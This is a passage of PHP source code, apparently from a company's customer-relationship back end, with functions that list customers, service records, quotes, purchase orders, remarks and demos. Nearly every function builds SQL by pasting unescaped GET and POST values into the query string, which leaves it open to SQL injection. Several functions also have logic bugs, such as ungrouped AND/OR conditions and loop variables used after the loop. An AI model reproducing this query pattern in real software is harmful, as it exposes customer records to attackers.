									$end = strpos($_GET['search_value'],"]",$start);
									$diff = $end-$start;
									$split1 = str_split($_GET['search_value'],$start);
									$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
				
									$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
									$QRecord		= $this->ExecuteQuery($SelQuery, "select");
							}
							else
							{
									$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
									$QRecord		= $this->ExecuteQuery($SelQuery, "select");
							}
		
		

		if(!empty($QRecord) && is_array($QRecord))
			foreach($QRecord as $key=>$value)
			{
			$QRecord[$key]['CId'] = stripslashes($QRecord[$key]['customer_id']);
			}
			$SelQuerys2 = 'SELECT * FROM `arka_service_reg_master` WHERE customer_id ="'.$QRecord[$key]['CId'].'" AND status="1"' ;
			$QList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		$total_records = count($QList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys2, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Service_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Service_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$QuoteList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($QuoteList) && is_array($QuoteList))
			foreach($QuoteList as $key=>$value)
			{
				$QuoteList[$key]['Cid'] = stripslashes($QuoteList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('QuoteList', $QuoteList);
			return $QuoteList;
	}
	
	
	
/************************************************************************** Get the Customer Quote list **********************************************/
 	function GetServiceQuoteLists2($objArray='')  {
		global $objSmarty;

		$SelQuerys2 = 'SELECT * FROM `arka_serv_qut_mstr` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$total_records = count($QList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys2, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Service_qut_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Service_qut_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$QuoteList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($QuoteList) && is_array($QuoteList))
			foreach($QuoteList as $key=>$value)
			{
				$QuoteList[$key]['Cid'] = stripslashes($QuoteList[$key]['customer_id']);
			}		
			
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('QuoteList', $QuoteList);
			return $QuoteList;
	}	

/************************************************************************** Get the Customer Quote list **********************************************/
function GetTabPOLists($objArray='')  {
		global $objSmarty;

		$SelQuerys2 = 'SELECT * FROM `arka_po_master` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$total_records = count($QList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys2, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('tab_po_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('tab_po_qut_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$QuoteList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($QuoteList) && is_array($QuoteList))
			foreach($QuoteList as $key=>$value)
			{
				$QuoteList[$key]['Cid'] = stripslashes($QuoteList[$key]['customer_id']);
			}		
			
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('QuoteList', $QuoteList);
			return $QuoteList;
	}	



 /**************************************************************************** Get the Customer Remarks list ******************************************************/
 	function GetRemarksLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{		
		$SelQuerys = 'SELECT * FROM `arka_customer_remarks_details` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$ReList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
							if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
									$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$RRecord		= $this->ExecuteQuery($SelQuery, "select");
							
							}	
							else
							{
									$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$RRecord		= $this->ExecuteQuery($SelQuery, "select");
							
							
							}	
		
		

		if(!empty($RRecord) && is_array($RRecord))
			foreach($RRecord as $key=>$value)
			{
			$RRecord[$key]['CId'] = stripslashes($RRecord[$key]['customer_id']);
			}
			$SelQuerys = 'SELECT * FROM `arka_customer_remarks_details` WHERE customer_id ="'.$RRecord[$key]['CId'].'" AND status="1"' ;
			$ReList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		$total_records = count($ReList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Remarks_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Remarks_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$RemList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($RemList) && is_array($RemList))
			foreach($RemList as $key=>$value)
			{
				$RemList[$key]['Cid'] = stripslashes($RemList[$key]['customer_id']);	
				   
						$RemList[$key]['emp_follow_up_status'] = "";
						if($RemList[$key]['closed_time']!="NA")
						{
							
						    $time_in_24_hour_format  =  date("H:i:s", strtotime($RemList[$key]['closed_time']));
						    $follow_up_data = $RemList[$key]['closed_date']." ".$time_in_24_hour_format;
							
						    $var_time1 =  date($follow_up_data);
							
							$time_in_24_hour_format  =  date("H:i:s", strtotime($RemList[$key]['snooze_time']));
						 	$snooze_data = $RemList[$key]['snooze_date']." ".$time_in_24_hour_format;
							$snooze_data = date('Y-m-d H:i:s', strtotime($snooze_data. ' + 1 day'));
						    $var_time2 =  date($snooze_data);
							if($var_time1>$var_time2)
							{
							$RemList[$key]['emp_follow_up_status'] = "late";
							}
						    if($var_time1<$var_time2)
							{
							$RemList[$key]['emp_follow_up_status'] = "Followed Properly";
							}
				      	
							
						}
						else if($RemList[$key]['closed_time']=="NA")	
						{
						
							$now_data = date('Y-m-d H:i:s', strtotime('now'));
						    $var_time1 =  date($now_data);
							
							$time_in_24_hour_format  =  date("H:i:s", strtotime($RemList[$key]['snooze_time']));
						 	$snooze_data = $RemList[$key]['snooze_date']." ".$time_in_24_hour_format;
							$snooze_data = date('Y-m-d H:i:s', strtotime($snooze_data. ' + 1 day'));
							 $var_time2 =  date($snooze_data);
							
							if($var_time1>$var_time2)
							{
							$RemList[$key]['emp_follow_up_status'] = "Not Even Listened";
							}						
						
						}
                        								
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('RemList', $RemList);
			return $RemList;
			
	}
//**********************************************************************Get Remarks Details List**********************************************************/
function GetRemarksDetailLists($objArray='')  {
		global $objSmarty;
		
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{		
		$SelQuerys = 'SELECT * FROM `arka_remarks_details` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$ReList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
									if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$RRecord		= $this->ExecuteQuery($SelQuery, "select");
							
							}	
							else
							{
									$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$RRecord		= $this->ExecuteQuery($SelQuery, "select");
							
							
							}	
							
		
		if(!empty($RRecord) && is_array($RRecord))
			foreach($RRecord as $key=>$value)
			{
			$RRecord[$key]['CId'] = stripslashes($RRecord[$key]['customer_id']);
			}
			$SelQuerys = 'SELECT * FROM `arka_remarks_details` WHERE customer_id ="'.stripslashes($RRecord[$key]['customer_id']).'" AND status="1"' ;
			$ReList		= $this->ExecuteQuery($SelQuerys, "select");
		}
			$RemDet = $this->ExecuteQuery($SelQuerys, "select");
		
				if(!empty($RemDet) && is_array($RemDet))
					foreach($RemDet as $key=>$value)
					{
					    $RemDet[$key]['emp_follow_up_status'] = "";
						$RemDet[$key]['RemID'] = stripslashes($RemDet[$key]['remark_id']);
						$TIMESTAMP_snz_dt=strtotime($RemDet[$key]['snooze_date']);
						$TIMESTAMP_flw_up_dt=strtotime($RemDet[$key]['closed_date']);
						if($TIMESTAMP_flw_up_dt>$TIMESTAMP_snz_dt)
						{
						$RemDet[$key]['emp_follow_up_status'] = "late";
						}						
						
					}
						$objSmarty->assign('RemDet', $RemDet);
						return $RemDet;
		
		}
	 
/************************************************************************** Get the Remarks Activity list **********************************************/
 	function GetRemarksActivityLists($objArray='')  {
		global $objSmarty;
	
if(($_SESSION['USER_GROUP']=='Account-Dept') || ($_SESSION['USER_GROUP']=='Admin') || ($_SESSION['USER_GROUP']=='MD-Group'))
{	
	$whereClause = ' WHERE `status`=1 ORDER BY sl_no DESC Limit 0,10';
	 if($_POST['search'] == ''){
  			if($_POST['assign_to'])
	   			$whereClause = ' WHERE (`assign_to` like "%'.$_POST['assign_to'].'%") AND `status`=1 ORDER BY sl_no DESC Limit 0,10';
					
   $objSmarty->assign('customer_id',$_POST['customer_id']);
   $objSmarty->assign('assign_to',$_POST['assign_to']);
}
}
else
{
  $whereClause = ' WHERE `assign_to` LIKE "%'.$_SESSION['USER_GROUP'].'%" AND `status`=1 ORDER BY sl_no DESC Limit 0,10';
   $objSmarty->assign('customer_id',$_POST['customer_id']);
   $objSmarty->assign('assign_to',$_POST['assign_to']);
}
		$SelQuery = 'SELECT customer_id, assign_to, snooze_date, snooze_time FROM `arka_customer_remarks_details`'.$whereClause;
		$DAList		= $this->ExecuteQuery($SelQuery, "select");
		$total_record = count($DAList);
		if(!empty($DAList) && is_array($DAList))
		{
			foreach($DAList as $key=>$value)
			{
				$DAList[$key]['CId'] = stripslashes($DAList[$key]['customer_id']);
				$objSmarty->assign('DAList', $DAList);
				return $DAList;
			}
		
		}
}
 /**************************************************************************** Get the Customer Demo list ******************************************************/
 	function GetDemoLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{		
			//	echo "Hiiiii";
		$SelQuerys = 'SELECT * FROM `arka_demo_master` WHERE customer_id ="'.$_GET['cust_id'].'" AND delete_status="1"' ;
		$DemList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
		
									if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
									$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$DRecord		= $this->ExecuteQuery($SelQuery, "select");
							
							}	
							else
							{	
		
		$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$DRecord		= $this->ExecuteQuery($SelQuery, "select");
		                    }
		if(!empty($DRecord) && is_array($DRecord))
			foreach($DRecord as $key=>$value)
			{
		    $DRecord[$key]['CId'] = stripslashes($DRecord[$key]['customer_id']);
			}
			$SelQuerys = 'SELECT * FROM `arka_demo_master` WHERE customer_id ="'.$DRecord[$key]['CId'].'" AND delete_status="1"' ;
			$DemList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		$total_records = count($DemList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Demo_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Demo_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$DemList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($DemList) && is_array($DemList))
			foreach($DemList as $key=>$value)
			{
				$DemList[$key]['Cid'] = stripslashes($DemList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('DemList', $DemList);
			return $DemList;
	}

/**************************************************************************** Get the Customer Demo list ******************************************************/
 	function GetServiceLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{		
			//	echo "Hiiiii";
		$SelQuerys = 'SELECT * FROM `arka_service_reg_master` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$SerList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
									if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
		$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$DRecord		= $this->ExecuteQuery($SelQuery, "select");							
							
							}
							else
							{
		$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$DRecord		= $this->ExecuteQuery($SelQuery, "select");							
							}		
		
		

		if(!empty($DRecord) && is_array($DRecord))
			foreach($DRecord as $key=>$value)
			{
		    $DRecord[$key]['CId'] = stripslashes($DRecord[$key]['customer_id']);
			}
			$SelQuerys = 'SELECT * FROM `arka_service_reg_master` WHERE customer_id ="'.$DRecord[$key]['CId'].'" AND status="1"' ;
			$SerList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		$total_records = count($DemList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Service_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Service_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$SerList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($SerList) && is_array($SerList))
			foreach($SerList as $key=>$value)
			{
				$SerList[$key]['Cid'] = stripslashes($SerList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('SerList', $SerList);
			return $SerList;
	}


 /***************************************************** Get the Customer Lists With and Without Search ******************************************** */
 function GetCustomerLists($objArray='',$request_from)  {
  global $objSmarty;
  $created_by=$_SESSION['UserName']." [ ".$_SESSION['DEPT']." ]";
  if($request_from=="all")
  {

					if(isset($_GET['company_name']))
							 $whereClause = ' WHERE  `company_name` = "'.$_GET['company_name'].'" AND status="1" ORDER BY customer_id';
					else if(!isset($_GET['company_name']))
								$whereClause = ' WHERE status="1" ORDER BY customer_id';
				  if($_POST['search'] == ''){
							if($_POST['customer_name'])
								$whereClause = ' WHERE (`name_of_caller` like "%'.$_POST['customer_name'].'%") AND status="1" ORDER BY customer_id';
							elseif($_POST['second_name'])
								$whereClause = ' WHERE (`second_name` like "%'.$_POST['second_name'].'%") AND status="1" ORDER BY customer_id';	
							elseif($_POST['customer_id'])
								$whereClause = ' WHERE (`customer_id` like "%'.$_POST['customer_id'].'%") AND status="1" ORDER BY customer_id';			
							elseif($_POST['company_name'])
								$whereClause = ' WHERE (`company_name` like "%'.$_POST['company_name'].'%") AND status="1" ORDER BY customer_id';
							elseif($_POST['place'])
								$whereClause = ' WHERE (`place` like "%'.$_POST['place'].'%") AND status="1" ORDER BY customer_id';
							elseif($_POST['area'])
								$whereClause = ' WHERE (`area` like "%'.$_POST['area'].'%") AND status="1"  ORDER BY customer_id';
							elseif($_POST['address1'])
								$whereClause = ' WHERE (`address1` like "%'.$_POST['address1'].'%") OR (`address2` like "%'.$_POST['address1'].'%") OR (`pincode` like "%'.$_POST['address1'].'%") AND `status`=1  ORDER BY customer_id';
							elseif($_POST['city'])
								$whereClause = ' WHERE (`city` like "%'.$_POST['city'].'%") AND status="1"  ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" ORDER BY customer_id';
							elseif($_POST['email'])
								$whereClause = ' WHERE (`email` like "%'.$_POST['email'].'%") AND status="1"  ORDER BY customer_id';
							elseif($_POST['created_by'])
								$whereClause = ' WHERE (`created_by` like "%'.$_POST['created_by'].'%") AND status="1" ORDER BY customer_id';
							elseif($_POST['enquiry'])
								$whereClause = ' WHERE (`enquiry_through` like "%'.$_POST['enquiry'].'%") AND status="1"  ORDER BY customer_id';

				  }
				  
	$SelQuery		= 'SELECT * FROM `arka_customer_reg_master`'.$whereClause;
  
  $listing_split = new MsplitPageResults($SelQuery, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage_for_all_cus',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation_for_all_cus',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $PageList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
  }				  
				  
  }
  else if($request_from=="my_session")
  {
					if(isset($_GET['company_name']))
							 $whereClause = ' WHERE  `company_name` = "'.$_GET['company_name'].'" AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
					else if(!isset($_GET['company_name']))
								$whereClause = ' WHERE status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
				  if($_POST['search'] == ''){
							if($_POST['customer_name'])
								$whereClause = ' WHERE (`name_of_caller` like "%'.$_POST['customer_name'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['second_name'])
								$whereClause = ' WHERE (`second_name` like "%'.$_POST['second_name'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';				
							elseif($_POST['company_name'])
								$whereClause = ' WHERE (`company_name` like "%'.$_POST['company_name'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['customer_id'])
								$whereClause = ' WHERE (`customer_id` like "%'.$_POST['customer_id'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['place'])
								$whereClause = ' WHERE (`place` like "%'.$_POST['place'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['area'])
								$whereClause = ' WHERE (`area` like "%'.$_POST['area'].'%") AND status="1" AND created_by="'.$created_by.'"  ORDER BY customer_id';
							elseif($_POST['address1'])
								$whereClause = ' WHERE (`address1` like "%'.$_POST['address1'].'%") OR (`address2` like "%'.$_POST['address1'].'%") OR (`pincode` like "%'.$_POST['address1'].'%") AND `status`=1 AND created_by="'.$created_by.'"  ORDER BY customer_id';
							elseif($_POST['city'])
								$whereClause = ' WHERE (`city` like "%'.$_POST['city'].'%") AND status="1" AND created_by="'.$created_by.'"  ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['email'])
								$whereClause = ' WHERE (`email` like "%'.$_POST['email'].'%") AND status="1" AND created_by="'.$created_by.'"  ORDER BY customer_id';
							elseif($_POST['created_by'])
								$whereClause = ' WHERE (`created_by` like "%'.$_POST['created_by'].'%") AND status="1" AND created_by="'.$created_by.'" ORDER BY customer_id';
							elseif($_POST['enquiry'])
								$whereClause = ' WHERE (`enquiry_through` like "%'.$_POST['enquiry'].'%") AND status="1" AND created_by="'.$created_by.'"  ORDER BY customer_id';

				
				  }  
				  
				  $SelQuery		= 'SELECT * FROM `arka_customer_reg_master`'.$whereClause;
  
  $listing_split = new MsplitPageResults($SelQuery, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage_for_my_cus',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation_for_my_cus',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $PageList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
  }
				  
  
  }
   else if($request_from=="current_month")
  {
 // 	 $created_by =$_SESSION['UserName']." [ ".$_SESSION['DEPT']." ]";
	// $crted_by_qry= 'AND created_by ="'.created_by.'"';
	if($_SESSION['UserName'] !="arka Power Products")
		{
					if(isset($_GET['company_name']))
							 $whereClause = ' WHERE  `company_name` = "'.$_GET['company_name'].'" AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
					else if(!isset($_GET['company_name']))
								$whereClause = ' WHERE status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
				  if($_POST['search'] == ''){
							if($_POST['customer_name'])
								$whereClause = ' WHERE (`name_of_caller` like "%'.$_POST['customer_name'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['second_name'])
								$whereClause = ' WHERE (`second_name` like "%'.$_POST['second_name'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';				
							elseif($_POST['company_name'])
								$whereClause = ' WHERE (`company_name` like "%'.$_POST['company_name'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['customer_id'])
								$whereClause = ' WHERE (`customer_id` like "%'.$_POST['customer_id'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['place'])
								$whereClause = ' WHERE (`place` like "%'.$_POST['place'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['area'])
								$whereClause = ' WHERE (`area` like "%'.$_POST['area'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['address1'])
								$whereClause = ' WHERE (`address1` like "%'.$_POST['address1'].'%") OR (`address2` like "%'.$_POST['address1'].'%") OR (`pincode` like "%'.$_POST['address1'].'%") AND `status`=1 AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['city'])
								$whereClause = ' WHERE (`city` like "%'.$_POST['city'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['email'])
								$whereClause = ' WHERE (`email` like "%'.$_POST['email'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['created_by'])
								$whereClause = ' WHERE (`created_by` like "%'.$_POST['created_by'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['enquiry'])
								$whereClause = ' WHERE (`enquiry_through` like "%'.$_POST['enquiry'].'%") AND status="1" AND created_by="'.$created_by.'" AND month(created_date) = month(now()) ORDER BY customer_id';

				  }  
				  }
	else if($_SESSION['UserName'] =="arka Power Products")
		{
					if(isset($_GET['company_name']))
							 $whereClause = ' WHERE  `company_name` = "'.$_GET['company_name'].'" AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
					else if(!isset($_GET['company_name']))
							$whereClause = ' WHERE status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
				  if($_POST['search'] == ''){
							if($_POST['customer_name'])
								$whereClause = ' WHERE (`name_of_caller` like "%'.$_POST['customer_name'].'%") AND status="1" AND month(created_date) = month(now())  ORDER BY customer_id';
							elseif($_POST['second_name'])
								$whereClause = ' WHERE (`second_name` like "%'.$_POST['second_name'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';				
							elseif($_POST['company_name'])
								$whereClause = ' WHERE (`company_name` like "%'.$_POST['company_name'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['customer_id'])
								$whereClause = ' WHERE (`customer_id` like "%'.$_POST['customer_id'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['place'])
								$whereClause = ' WHERE (`place` like "%'.$_POST['place'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['area'])
								$whereClause = ' WHERE (`area` like "%'.$_POST['area'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['address1'])
								$whereClause = ' WHERE (`address1` like "%'.$_POST['address1'].'%") OR (`address2` like "%'.$_POST['address1'].'%") OR (`pincode` like "%'.$_POST['address1'].'%") AND `status`=1  AND month(created_date) = month(now())  ORDER BY customer_id';
							elseif($_POST['city'])
